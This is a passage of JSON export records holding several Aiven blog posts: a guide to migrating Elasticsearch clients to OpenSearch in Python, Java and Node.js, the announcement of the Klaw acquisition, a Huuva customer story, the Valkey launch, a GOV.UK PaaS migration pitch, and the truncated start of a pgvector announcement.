spend.","categories":[{"_key":"ed48fd325dfd","_ref":"1nf4L7bvQOLXPjLRjAxmDO","_type":"reference"},{"_key":"e3f3a9a0f8bb","_ref":"2mBcgNf20QQ0rW0XtSjzVs","_type":"reference"},{"_key":"83645ca2799f","_ref":"c8ba2bda-6228-45e2-b987-b3fdf836c6c9","_type":"reference"},{"_key":"b046a01aa2c2","_ref":"4b855c21-3b95-4460-928d-6ddccb375b43","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-836a9e805b47b2d90e957bda89dbb36ef6141cd7-1567x844-png","_type":"reference"}},"publishedAt":"2024-04-05T00:44:50.610Z","related":[{"_key":"83486f4c6d7a","_ref":"ea45396f-c903-489e-97be-3cd4dc25e6fe","_type":"reference"},{"_key":"3f94b24b57c1","_ref":"96b49d13-c145-4582-bb49-71ec502a7f36","_type":"reference"},{"_key":"5964861ccb33","_ref":"b8290949-b337-4c6f-8c24-d185ea77aa6c","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Discover how financial services firms navigate tightening regulations with technology. Learn about common misconceptions and key compliance challenges.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-836a9e805b47b2d90e957bda89dbb36ef6141cd7-1567x844-png","_type":"reference"}},"metaTitle":"Navigating regulations with technology in Financial Services"},"slug":{"_type":"slug","current":"/blog/the-top-two-misconceptions-as-fsi-compliance-requirements-tighten"},"subtitle":"With Basel 3.1 aligned frameworks, governments worldwide are increasingly emphasising the need for financial institutions to maintain operational continuity.","title":"The Top Two Misconceptions as FSI Compliance Requirements Tighten"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"ABeD3aNbvwjtqXaZk6hiP","_rev":"VeNKqGNmt13PzvGhqsSPGc","_type":"post","_updatedAt":"2024-01-29T15:41:40Z","authors":[{"_key":"4u9AY0PiaCCkrz1PHfwCfy","_ref":"4u9AY0PiaCCkrz1PHfwCfy","_type":"reference"}],"body":"\u003e **Note** On 2022-08-23, Aiven will complete its migration away from Elasticsearch, and migration between Aiven services will no longer be necessary. See [Aiven finishes the transition away from Elasticsearch: technical details](https://aiven.io/blog/finish-move-away-from-elasticsearch) for more information.\n\n## How to migrate your Elasticsearch client to using OpenSearch®\n\nWe are replacing Elasticsearch with the open source fork of the project, OpenSearch. In this article, we will show you how to upgrade the client code in your application to make the switch.\n\nWhen we think about database migration, we normally think about migrating the data itself. However, you have to consider migrating your client, and especially which version is being used. \n\nYou can check our related articles about Elasticsearch to OpenSearch migration: \n\n- [Upgrade Elasticsearch clients to OpenSearch, if you are migrating within Aiven](https://aiven.io/docs/products/opensearch/howto/upgrade-clients-to-opensearch.html)\n- [General tips in how to work with your OpenSearch cluster](https://aiven.io/docs/products/opensearch/howto.html)\n- [Migrate Elasticsearch data to Aiven for OpenSearch, if you are migrating an external database to Aiven](https://aiven.io/docs/products/opensearch/howto/migrating_elasticsearch_data_to_aiven.html)\n\nIn this article, we will briefly explain the database migration process, and how to perform your client migration.\n\n### Database migration from Elasticsearch to OpenSearch\n\nIn terms of database migration, Aiven's client can perform the upgrade without any downtime. You can find all the steps needed to perform your migration on [Aiven's devportal](https://aiven.io/docs/products/opensearch/howto/migrating_elasticsearch_data_to_aiven). Note that upgrading from Elasticsearch to OpenSearch will also upgrade Kibana to OpenSearch Dashboards. If you are already using Aiven, we recommend you do the upgrade soon as the end of life is due to be on March 23. After this date, Aiven's services related to Elasticsearch will be upgraded automatically to OpenSearch.\n\n### Client migration from Elasticsearch to OpenSearch\n\nMigrating a native Elasticsearch client to OpenSearch requires changes in the client code so that you can continue to interact with your cluster. Are you curious how this can be done? Here we will go over client migration in three languages: Python, Java, and JavaScript (Node.js).\n\nBefore diving into the code, there is one thing you should keep in mind. According to [OpenSearch docs](https://opensearch.org/docs/latest/clients/index/#legacy-clients), Elasticsearch clients for v7.10.2 should work in terms of compatibility with OpenSearch client v1. However, the latest version of Elasticsearch clients may contain checks that can break compatibility. Here are the recommendations regarding the Elasticsearch client version that you should have to migrate to OpenSearch v1.0.0.\n\n| Client | Recommended version |\n| ------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------- |\n| [Java low-level REST client](https://search.maven.org/artifact/org.elasticsearch.client/elasticsearch-rest-client/7.13.4/jar) | 7.13.4 |\n| [Java high-level REST client](https://search.maven.org/artifact/org.elasticsearch.client/elasticsearch-rest-high-level-client/7.13.4/jar) | 7.13.4 |\n| [Python](https://pypi.org/project/elasticsearch/7.13.4/) | 7.13.4 |\n| [NodeJS](https://www.npmjs.com/package/@elastic/elasticsearch/v/7.13.0) | 7.13.0 |\n\nCheck the full table on the [OpenSearch page](https://opensearch.org/docs/latest/clients/index/#legacy-clients).\n\nAs you can see, it is recommended that first, you upgrade or downgrade your Elasticsearch to match v7.13.4 or v7.13.0, check if is still running correctly, then migrate to the compatible OpenSearch version v1.0.0. Finally, you can upgrade to the latest OpenSearch version that contains additional features and bug fixes. Doing this will help you correct API incompatibilities that may appear during your client migration process.\n\nSo let's check how those changes are done code-wise.\n\n### Python\n\nFor Pythonists, the changes needed in their Python client are regarding the library in use, and how their Python client objects are called. Here we are considering the official Python client libraries for [Elasticsearch](https://www.elastic.co/guide/en/elasticsearch/client/python-api/current/index.html) and [OpenSearch](https://opensearch.org/docs/latest/clients/python/).\n\nWith a few steps, you can replace your Elasticsearch client with the OpenSearch one.\n\nIn the dependencies, change libraries and versions:\n\n```diff\n- elasticsearch==7.10.2\n+ opensearch-py==1.0.0\n```\n\nIn the source code, change the imports:\n\n```diff\n- from elasticsearch import Elasticsearch\n+ from opensearchpy import OpenSearch\n```\n\nand the client:\n\n```diff\n- client_against_opensearch = Elasticsearch(ES_SERVICE_URI, use_ssl=True)\n+ client_against_opensearch = OpenSearch(OS_SERVICE_URI, use_ssl=True)\n```\n\nThe good news is that you can reuse the same APIs as the Elasticsearch ones in your OpenSearch client. Take a look at the full example on our [OpenSearch migration repository](https://github.com/aiven/opensearch-migration-examples/tree/main/python-client-migration). \n\nIf you want to know more about the Python OpenSearch client and its compatibility, feel free to explore those resources:\n\n- [Compatibility](https://opensearch.org/docs/latest/clients/index/)\n- [Python Client](https://opensearch.org/docs/latest/clients/python)\n- [Python, OpenSearch migration examples](https://github.com/aiven/opensearch-migration-examples/tree/main/python-client-migration)\n\n### Java\n\nGood news for Java client users, minimal changes are needed when you are migrating to OpenSearch. You only need to install the new dependencies and change your imports. Here you can find the changes related to imports:\n\n```diff\n- implementation 'org.elasticsearch.client:elasticsearch-rest-client:7.10.2'\n- implementation 'org.elasticsearch.client:elasticsearch-rest-high-level-client:7.10.2'\n+ implementation 'org.opensearch.client:opensearch-rest-client:1.1.0'\n+ implementation 'org.opensearch.client:opensearch-rest-high-level-client:1.1.0'\n```\n\nIn your Java client, the changes look like this:\n\n```diff\n- private static final String CLIENT_LIBRARY = \"org.elasticsearch.client:elasticsearch-rest-client:7.10.2\";\n+ private static final String CLIENT_LIBRARY = \"org.opensearch.client:opensearch-rest-client:1.1.0\";\n\n```\nBy changing the imports, you should be able to use your OpenSearch client with the same APIs as the Elasticsearch ones. \n\nFind out more about OpenSearch Java client, including a full running example of OpenSearch client migration on the links below:\n\n- [Compatibility](https://opensearch.org/docs/latest/clients/index/)\n- [Java High Level Client](https://opensearch.org/docs/latest/clients/java-rest-high-level/)\n- [Java, OpenSearch migration examples](https://github.com/aiven/opensearch-migration-examples/tree/main/java-client-migration)\n\n### JavaScript (Node.js/NodeJS)\n\nClient migration in JavaScript is pretty straightforward, you only need to install the new dependency and change the `require` statement.\n\nThe dependencies can be installed with npm as follows:\n\n```\n$ npm install --save @opensearch-project/opensearch\n```\n\nYou can find in this sample the client change for the NodeJS client:\n\n```diff\n- const { Client } = require('@elastic/elasticsearch');\n+ const { Client } = require('@opensearch-project/opensearch');\n```\n\nYou should be able to reuse the APIs once the imports are set correctly.\n\nCheck more resources for OpenSearch migration with NodeJS client:\n\n- [Compatibility](https://opensearch.org/docs/latest/clients/index/)\n- [NodeJS Client](https://opensearch.org/docs/latest/clients/javascript/)\n- [NodeJS, OpenSearch migration examples](https://github.com/aiven/opensearch-migration-examples/tree/main/node-client-migration)\n\n### Next steps\n\nWith the recent changes in Elasticsearch policies, many users are looking for ways to migrate to alternatives like OpenSource. Being a direct fork of Elasticsearch v7, OpenSearch is very compatible with Elasticsearch. Aiven offers an easy way to perform an upgrade from [the Aiven console](https://aiven.io/docs/products/opensearch/howto/upgrade-to-opensearch.html#upgrade-from-elasticsearch-to-opensearch) with a click of a button. While this might seem straightforward, it involves a change in the client regarding the library and APIs used. This article walks you through the process that you need to do to guarantee a successful migration of your data.\n\nBeing open source, the OpenSearch project welcomes everyone to contribute to it by adding new features and helping to maintain them. We all know that open source is for everyone, but at Aiven we take the responsibility to contribute back to such projects. Aiven is actively contributing to the OpenSearch project via our [Open Source Program Office](https://aiven.io/open-source).\n\nThe examples in this article are part of the OSS project for [OpenSearch migration examples](https://github.com/aiven/opensearch-migration-examples), feel free to make a fork and add more examples in your favorite languages. It is a nice way to share your knowledge with the OpenSearch and Elasticsearch communities.\n\n_Elasticsearch is a trademark of Elasticsearch B.V., registered in the U.S. and in other countries._","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"4Vh5tOitJtIkyMjlv3zldF","_ref":"4Vh5tOitJtIkyMjlv3zldF","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-1cd07a03c46e1a1c592abc957f2fc5ce63ca75ff-1567x844-png","_type":"reference"}},"publishedAt":"2022-03-01T00:00:00.000Z","seo":{"metaDescription":"Leaving ES to stay open source? Data migration all planned? Now learn how to migrate your Elasticsearch client to OpenSearch® in Python, Java and Node.js.","metaImage":{"alt":"","asset":{"_ref":"image-1cd07a03c46e1a1c592abc957f2fc5ce63ca75ff-1567x844-png","_type":"reference"}},"metaTitle":"Migrate your Elasticsearch client to OpenSearch®"},"slug":{"_type":"slug","current":"/blog/migrate-elasticsearch-client-to-opensearch"},"subtitle":"Leaving ES to stay open source? Data migration all planned? Now learn how to migrate your Elasticsearch client to OpenSearch® in Python, Java and Node.js.","title":"Migrate your Elasticsearch client to OpenSearch®"} {"__i18n_lang":"en","_createdAt":"2022-09-30T15:53:47Z","_id":"6ZcP2aj9aXVAN0Dh2tlga5","_rev":"If5MXS1R4Zj7MKtcdBTn9T","_type":"post","_updatedAt":"2024-02-13T14:39:06Z","authors":[{"_key":"5X56DMMpbvqaUWfT7pf8Bi","_ref":"5X56DMMpbvqaUWfT7pf8Bi","_type":"reference"}],"body":"Open source is at the heart of Aiven. That is why today is such a special day, as we formally [welcome Kafkawize, now Klaw, into our Open Source Program Office](https://kafkawize.io/2022/09/29/kafkawize-is-now-klaw-joins-aiven/). This marks a significant milestone, not just as our first acquisition, but as the moment where we add “steward of communities” to our open source commitment. In addition to welcoming [Klaw](https://klaw-project.io/ \"Klaw project page\"), we are also happy to welcome Muralidhar Basani to our engineering team to continue shepherding the development of Klaw.\n\n## About Klaw\n[Klaw](https://aiven.io/blog/introducing-klaw-for-apache-kafka-governance \"Introducing Klaw for Apache Kafka® governance | Aiven blog\"), an open source data governance tool for Apache Kafka®, provides a web-based data governance tool for managing Apache Kafka Topics, ACLs, and schemas. Murali started building this open source project in 2018 with the simple goal of making Apache Kafka data governance easier for developers.\n\nKlaw provides an easy user interface where teams of Apache Kafka service users can request changes to the Apache Kafka configuration without the intervention of administrators. With the right data governance in place, a user can: \n\n- __Make better decisions__: With the right governance in place you can make consistent, confident business decisions based on trustworthy metadata.\n- __Enhance regulatory__ compliance and audit: An increasingly complex regulatory climate has made it more important than ever for organizations to establish robust data governance practices. Apache Kafka environments move critical data through systems and organizations. Using proper user management and policy with Klaw, you can avoid noncompliance risks while anticipating new regulations.\n- __Optimize efficiency__: Klaw provides a graphical UI to manage all Apache Kafka Topics, giving access according to predefined user rights. Developers no longer need to spend hours managing and synchronizing config files between teams and owners.\n\nMurali open sourced his project to make sure that this tool is available to all. Aiven is upholding this commitment, and we will keep the code available for the community under the name Klaw. Aiven will actively seek contributors to collaborate with us on Klaw in the future.\n\n## Aiven + Klaw\nToday, we see a large demand for data governance around Apache Kafka. It started as a relatively straightforward streaming engine, but quickly built momentum — and today Apache Kafka is the centerpiece of a modern data pipeline. \n\nThe lack of proper governance can place data at risk if managed improperly. Some solutions are available in the market, but unfortunately most of these are not open source. This hinders access and adoption by developers. \n\nBy having Klaw join Aiven, we contribute to its long-term success, while preserving it as an open source project. Unlike proprietary alternatives, Klaw also enables us to provide Apache Kafka users much-needed open source tooling. Because Klaw is an open source technology, we have an opportunity to grow the community around it out in the open, which not only aligns with our values, but also has business advantages. \n\nAs part of our Series C funding announcement, Aiven made a public commitment to promote and uplift open source. Today, I’m thrilled to announce this news and continue making good on our promises by evolving from an open-source contributor to a steward of open-source communities.\n","categories":[{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"8R60m8L4BFeRA01yrF7eD","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"dIABIFlQ2WxdM5KNsxEcc","_ref":"dIABIFlQ2WxdM5KNsxEcc","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-98cdf2d1cce0fcb86981d53f1f4478fdb2031ff6-1567x844-png","_type":"reference"}},"publishedAt":"2022-09-29T00:00:00.000Z","related":[{"_key":"875b8e3a85d3","_ref":"4JR1zZoQLeuUT8AxByqegc","_type":"reference"},{"_key":"53e244e11f13","_ref":"40ba181c-997d-4d9e-9efe-1f31b99e0e42","_type":"reference"}],"seo":{"metaDescription":"Aiven enters the next phase of its open source commitment with Apache Kafka® data governance. Read what Oskari Saarenmaa has to say about Kafkawize.","metaImage":{"alt":"","asset":{"_ref":"image-98cdf2d1cce0fcb86981d53f1f4478fdb2031ff6-1567x844-png","_type":"reference"}},"metaTitle":"Aiven welcomes Kafkawize, now Klaw"},"slug":{"_type":"slug","current":"/blog/aiven-welcomes-kafkawize-now-klaw"},"subtitle":"Aiven enters the next phase of its open source commitment with Apache Kafka® data governance. Read what Oskari Saarenmaa has to say about Kafkawize.","title":"Aiven welcomes Kafkawize, now Klaw"} {"__i18n_lang":"en","_createdAt":"2022-11-14T11:53:39Z","_id":"6edd956e-b77d-4872-b909-005b3f926172","_rev":"h4ancfFTuSnQNBSq3InxMi","_type":"post","_updatedAt":"2024-11-19T08:54:22Z","authors":[{"_key":"05c39fcbe687","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Aiven is blessed with interesting customers, and this is even more true for companies in our [Cluster program](https://aiven.io/cluster). Yet sometimes we come across a use case for our services that takes a bit of explaining. One-year-old [Huuva](https://www.huuva.io/) is one of these - and we love them for it.\n\nGoing against what is perhaps more of a trend among food-related startups, Huuva doesn’t employ delivery staff - they employ chefs. Huuva’s own Kitchens prepare food for home delivery. \n\n“We provide local restaurants and brands a new outlet for their products. Our Kitchens prepare the food, no matter if it’s beets or burgers,” says **Tiina Romu**, Software Team Lead at Huuva. “The restaurant partners at each Kitchen location provide a menu customized for that location. The customer can order dishes from any or all of the restaurants at that Kitchen.”\n\nThat’s the magic of Huuva. You want Chinese food but your friend would rather have pasta? Instead of paying for two home deliveries, you can order both at once from Huuva. \n\nOkay, now we know how to avoid late-night arguments over takeout. But what does data have to do with cooking?\n\n“You might think the kitchen business is done with pots and pans and stoves,” Tiina laughs, “and it is, of course. But what we’re bringing to our kitchens with software is ease of working. Huuva helps the chefs do their job.”\n\n\u003e **What we’re bringing to our kitchens with software is ease of working.**\n\nWhen there are multiple orders to be prepared at once, Huuva’s software tells the chefs what can be done next and what needs to wait. In short, it helps the chefs queue up orders so that the kitchen can operate smoothly and efficiently but without hurrying.\n\n## Aiven for tasty meals\n\nHuuva’s core software product is actually the order management system used in Huuva Kitchens. A workplace where multiple brands and types of food is prepared is a complicated environment with a number of overlapping processes, and the order management system makes the chefs’ work easier by displaying orders in a logical way.\n\n“Behind the order management system is a complex container-based microservice architecture,” Tiina explains. “All services are running in a Kubernetes cluster. This means that we have a lot of small services that have their own purpose, and they are serving only that purpose. Many of those services have a PostgreSQL® database. In addition, we have MongoDB in one of the services, and OpenSearch®. But Apache Kafka® is really the core of everything. All our data is flowing through Apache Kafka, not just orders but also logs and other development related data. We can more easily monitor our infrastructure and know what's happening in all of our kitchens.”\n\n## A year of incredible growth with Cluster\n\n“We opened our first location in Finland in September 2021,” says Tiina. “Now, in 2022, we have seven locations internationally. [Note: since the interview, 3 more locations have opened to bring the number up to an even 10.] We always aimed for strong growth so we are not surprised, but we are satisfied.”\n\nBecause Huuva have focused on a high rate of growth from the start, they always wanted to set up their services in a sustainable, scalable way. That’s where Aiven’s Cluster program comes in.\n\n“We were really happy to apply to the Aiven Cluster program when it was announced,” says Tiina. “It's really valuable for us that we can actually build our software scalably from the start. Even if we now only have a few kitchens, in the future we might have dozens or even hundreds. So at that point, we won't need to change our architecture anymore. We can just focus on providing our great features for our kitchens.”\n\n\u003e **Being part of the Cluster program has given us the freedom to choose the tools we want from the start.**\n\n“Being part of the Cluster program has given us the freedom to choose the tools we want from the start, without having to worry about the actual cost of these services, or how much time maintaining them would take. So we feel that this is really helping us move forward and grow,” says Tiina.\n\n“We’re also getting technical help from Aiven,” Tiina adds. “We have experts we can talk to, people who have already used and have a lot of experience with services like Kafka. They can help us plan how to do things and to validate that the ideas we have are actually a good way to go.”\n\n## Facing the world, hand in claw\nBut there’s one more great thing that Huuva is getting from participating in the Cluster program. \n\n“One of our favorite things with Aiven Cluster is that we really feel that we are cared for. We are regularly getting questions like, Hey, how are you doing? And is there something we could do for you? And that's a really nice thing, for a bigger company to care for the smaller ones taking their first steps.”\n\n::youtube[How Aiven Cluster helps Huuva serve tasty local dishes]{#cFX4r-DV4q0}\n\nAre you still looking for a managed data platform? [Head to the Aiven Console to sign up for a free trial!](https://console.aiven.io/signup)\n","categories":[{"_key":"6f98e2653661","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-33f55af451a8e137e7ae759f08a45e66ff7ebdb7-1567x844-png","_type":"reference"}},"publishedAt":"2022-11-29T09:40:29.202Z","related":[{"_key":"29d1584c7b1b","_ref":"18fLg2vAgBM4cu7qP3u2XJ","_type":"reference"},{"_key":"58d534aa98b4","_ref":"1lXo1w2g8BTdPN9kxrvRFI","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"See how Huuva, one of Aiven’s Cluster startup companies, uses Apache Kafka® in the kitchen to enhance their innovative concept. Find out more in our blog!"},"slug":{"_type":"slug","current":"/blog/cooking-with-apache-kafka"},"subtitle":"Huuva, one of Aiven’s Cluster startup companies, use Apache Kafka® in the kitchen. Join us for a tour of their innovative concept, and the boost that Cluster gives them.","title":"Cooking with Apache Kafka® [Customer Story]"} {"__i18n_lang":"en","_createdAt":"2024-06-26T14:05:03Z","_id":"894ac584-fe8d-47eb-bd84-cdc44c4c3a5c","_rev":"p92WeIHLmx3eRj4zhhfvHh","_type":"post","_updatedAt":"2024-06-27T16:30:00Z","authors":[{"_key":"abcedc18d387","_ref":"ede81389-d839-4a48-9532-776f85268f0c","_type":"reference"}],"body":"\nToday ‍Aiven is launching Aiven for Valkey to give customers a fully open source Redis® alternative. \n\nAiven for Caching will remain available to existing customers, but due to recent [Redis® licensing changes](https://aiven.io/blog/aiven-for-redis-becomes-aiven-for-caching), it will remain on Redis 7.2.4. [Valkey](https://valkey.io/) is a fork of OSS Redis®, version 7.2.5, maintained by the Linux Foundation and is fully backwards compatible with Redis. \n\n## Drop-in replacement for Redis®\n\nAs a true open source initiative, Valkey empowers developers to explore scalability advancements that go beyond the limitations of legacy OSS Redis®, with plans to add multi-threaded performance optimizations in addition to the introduction of future functionalities. \n\nAiven for Valkey is fully compatible with Redis® 7.2.4 and has identical functionality, plans, and pricing to Aiven for Caching. We will support a full migration path from external Redis® implementations and Aiven for Caching to Aiven for Valkey with limited downtime in short order, ensuring a smooth transition for our customers.\n\n## Aiven's commitment to open source\n\nAiven stands firmly behind open source, and we're excited to support this open source project. As an early supporter of and committer to Valkey and its plugin ecosystem, Aiven and our customers are able to have a material impact on Valkey’s evolution. This level of commitment aims to ensure we do our part as a contributing member of a vibrant community and provide ongoing innovative products for our customers.\n\n\u003e \"Aiven is a strong supporter of open source with open governance. We were delighted to hear about the creation of Valkey and we are supporters of this project. We are excited to add Aiven for Valkey to the Aiven Platform so that our customers can continue to benefit from access to the most popular and widely adopted open source data and AI technologies.\" - Oskari Saarenmaa, CEO, Aiven.\n\nAiven for Valkey is a managed service that enables customers to get all the features of open source Redis® without any of the infrastructure stress. Whether you need high-performance data caching, robust message queuing capabilities, or a persistent key-value database, Aiven for Valkey has you covered.\n\n[Get started](https://console.aiven.io/signup) with Aiven for Valkey today.\n\n\n\n\n*\\* Redis is a registered trademark of Redis Ltd. and the Redis box logo is a mark of Redis Ltd. Any rights therein are reserved to Redis Ltd. Any use by Aiven is for referential purposes only and does not indicate any sponsorship, endorsement or affiliation between Redis and Aiven.*","mainImage":{"_type":"mainImage","asset":{"_ref":"image-9579496b197eeb12c6cc2e7bcb624b0683faed73-1200x628-png","_type":"reference"}},"publishedAt":"2024-06-27T16:30:00.000Z","slug":{"_type":"slug","current":"/blog/introducing-aiven-for-valkey"},"subtitle":"Aiven offers managed Valkey, an open source NoSQL database compatible with legacy OSS Redis®* perfect for caching, message queues, and more.","title":"Introducing Aiven for Valkey"} {"__i18n_lang":"en","_createdAt":"2023-01-09T05:56:51Z","_id":"6be24774-cbca-4a0b-a0f6-51e0c17a35b5","_rev":"jlE3yG3C5Lxk0cUOqcoiji","_type":"post","_updatedAt":"2024-05-27T12:38:55Z","authors":[{"_key":"2f561b5457f6","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"If you're a user of the GOV.UK PaaS, you know the bad news already: your platform is going away, and you’ll have to independently procure your managed cloud services from now on. But there’s a pretty thick silver lining here. With direct procurement, the range of hosted services available to your organisation is about to increase dramatically.\n\nAiven are, and will continue to be until the end of the GOV.UK PaaS, the providers of the OpenSearch® and InfluxDB® services you can find there.\n\nThe new G-Cloud-13 framework is a purchasing vendor service run by the Crown Commercial Service (CCS), and unlike the GOV.UK PaaS platform it offers direct access to vendors via a centrally negotiated government contract. This means you’ll continue to have the managed service offerings of OpenSearch and InfluxDB that you currently enjoy (via Aiven) to choose from—but you’ll also have a range of other managed open source solutions that you can choose from Aiven.\n\n## Come over to Aiven\nAiven is a provider of managed open source data technologies on all major clouds globally. As an [existing GOV.UK vendor](https://aiven.io/blog/aiven-for-opensearch-was-chosen-for-gov-uk-customer-story), Aiven is already pre-vetted and ticks all the boxes. \n\nAnd the best thing of all is that if you move from Aiven’s OpenSearch of InfluxDB service on the GOV.UK PaaS, we can pretty much guarantee a quick no-downtime migration.\n\nRun your eye over these benefits of the Aiven platform:\n\n- **API-first architecture**: you can automate a lot of your processes with Aiven’s API, whether you use Kubernetes or Terraform or a proprietary framework. No clickopsing, just jobs running and taking care of business.\n- **Information assurance**: [Aiven has a wide array of certifications and compliances](https://aiven.io/security-compliance), detailed information on all of which is available on request.\n- **Pay-as-you-go**: with Aiven, you’re not buying servers, you’re buying a service, which you can stop using any time you want—and also stop paying for it.\n- **Open source**: if you want to understand what your infrastructure is made of and how it works, and to avoid locking yourself in to a single vendor, [always choose open source](https://aiven.io/blog/why-you-should-love-open-source-databases) software and services. Everything at Aiven is fully open source.\n- **Cloud-agnostic**: run your jobs on any hyperscaler cloud, anywhere in the world - or on all of them. Piping data from cloud to cloud is easy with Aiven.\n\n## Aiven services\nAiven’s service portfolio includes a range of best of breed open source technologies that allow you to manage your data—whether streaming, operational, or analytics—from one easy to use console. Here is a quick look at what we offer, each fully managed and carefree.\n\n### Search and find: Aiven for OpenSearch\nYou may already know Aiven for OpenSearch from the GOV.UK PaaS. It’s a high-powered, versatile search engine, optimized for free text search and customizable visual analytics. OpenSearch is ideal for information-heavy, search-oriented pages that provide crucial information for end users.\n\n### Big time data: Aiven for InfluxDB®, Aiven for M3®, Aiven for ClickHouse®\nAiven for InfluxDB®, as offered on the GOV.UK PaaS, is just one of our services designed for data-intensive applications like analytics. Our newest arrival, Aiven for ClickHouse, is a high-performance data warehouse, the fastest open source columnar database on the market. \nIf your data volumes are truly epic, you could take a look at M3. Often used together with Grafana, M3 is a true open source time series database designed for massive environments.\n\n### Easy streaming: Aiven for Apache Kafka®\nAiven provides a full solution for you to build a streaming service: a complete ecosystem of solutions and services built around Apache Kafka. It lets you transport, manage, process, operate and govern your organization’s streaming data efficiently. \n\nAlong with Apache Kafka itself, we offer managed Apache Kafka Connect for connectivity, Apache Kafka® MirrorMaker 2 for replication, Apache Flink® for stream processing, and as the cherry on top, Klaw for governance over the whole system. With Klaw, you can specify who is able to write to which topic using team and role definitions.\n\n### SQL goodness: Aiven for PostgreSQL®, Aiven for MySQL®\nPostgreSQL is an advanced, mature and scalable relational database that can handle just about anything you throw at it. Its extensive toolkit and large community make it an easy open source choice. Aiven for PostgreSQL is your truly future-proof data solution.\n\nBut if you’re looking for something light and nimble, take a look also at MySQL, the world’s most popular open source relational database and something of a younger cousin of PostgreSQL. Less fully featured than PostgreSQL, Aiven for MySQL nevertheless makes a good starter database for limited needs.\n\n### Metrics and analytics: Aiven for Grafana®\nAiven for Grafana is a widely used open source monitoring, visualisation and alerting service. You can collect data from various Aiven services and display them in a coherent dashboard. When combined with M3, it scales to cover even the largest infrastructure monitoring cases.\n\n### Robust data service: Aiven for Cassandra®, Aiven for Caching\nEfficient caching can provide a faster user experience for your app. Aiven for Caching, an extremely fast, robust in-memory key-value database, is your best choice. \n\nAnd last but by no means least, to provide stability and durability in the face of expanding and changing volumes of data, consider Aiven for Cassandra. It’s a distributed NoSQL database that is famously scalable and fault-tolerant.\n\n## Here’s a tip\nOne way to use Aiven services is to build yourself an observability platform. Plug Aiven for InfluxDB or M3 to Aiven for OpenSearch and Grafana (or indeed any other monitoring service you like, but getting all the bits from Aiven does make for a smoother experience) and easily keep tabs on your data infrastructure.\n\nThe reason we’re bringing this up especially is that, while working with the GDS team that managed the GOV.UK PaaS, this proved to be a simple, cost effective solution to their observability needs. Deploying it as a managed service reduced their up-front costs and management overhead.\n\n## Next step\nIf you’re an existing user of the GOV.UK PaaS, we have a fast lane for you to spin up your services with Aiven. And even better, we’ll help you get your services migrated, too, together with the GOV.UK PaaS team.\n\nSee the chat box in the corner of your browser? Use that to get in touch with the designated GOV.UK PaaS team at Aiven, and get the ball rolling now.\n\n\n\n\u003c!-- copypasta:\n\n®\n™\n– en-dash\n— em-dash\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\ntext links: [body / link text](target URL)\n\nCode snippets: `written like this`\n\n\u003e **Note:** If you want to write a highlighted note thingy, it's like this.\n\n[Back to top](/blog/slug-line/#toc)\n\n\n## First part\n\n## Second part\n\n## Wrapping up\n\n\n--\u003e\n\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\n\u003c!--\n\n::banner[You found it!]{ctaText=\"Sign up for a free trial now\" ctaLink=\"https://console.aiven.io/signup\" title=\"Still looking for a managed data platform?\" theme=\"dark\"}\n--\u003e","categories":[{"_key":"a07fa09a3952","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-d5b0f8ee73e70295a68962b67a060054bc84b2f8-752x405-jpg","_type":"reference"}},"publishedAt":"2023-01-30T15:04:15.060Z","related":[{"_key":"9e56e39f30a0","_ref":"4UiFOlqBKJ2Da9HxhJFdR2","_type":"reference"},{"_key":"4113fa15eda0","_ref":"3MggLA9OLDbYdLjn5eZSx6","_type":"reference"},{"_key":"552b0f4049d1","_ref":"27idt1cdblNt5VE88jxtnJ","_type":"reference"}],"seo":{"_type":"metaData","metaTitle":"Life after the GOV.UK PaaS | Discover Aiven’s offering"},"slug":{"_type":"slug","current":"/blog/life-after-the-gov-uk-paas"},"subtitle":"The UK Government’s G-Cloud-13 framework is live, with loads of new services available to UK organisations. Discover Aiven’s offering here!","title":"Life after the GOV.UK PaaS"} {"__i18n_lang":"en","_createdAt":"2023-06-23T11:16:04Z","_id":"1fa5e66f-b5e1-4c65-9eef-5802e2153f86","_rev":"sEwq5NBiPauorOxrhiUOIA","_type":"post","_updatedAt":"2024-11-19T08:37:50Z","authors":[{"_key":"04f86527c6cd","_ref":"5a16a911-c8fc-479c-8760-cb02d321aa7f","_type":"reference"}],"body":"Many organizations use PostgreSQL® to store their data and to perform advanced analytics, taking advantage of the consistency guarantees, the familiar SQL syntax and the plethora of analytical functions available. However, when solving problems that require Machine Learning capabilities, like similarity search, they were forced to move entire datasets to other platforms, facing the dual challenges of stale data and inconsistent results.\n\nToday, we're thrilled to announce the availability of [pgvector](https://github.com/pgvector/pgvector) as an extension to [Aiven for PostgreSQL®](https://aiven.io/postgresql), empowering organizations to store vectorized representations of their data alongside other data columns, and to perform similarity searches with 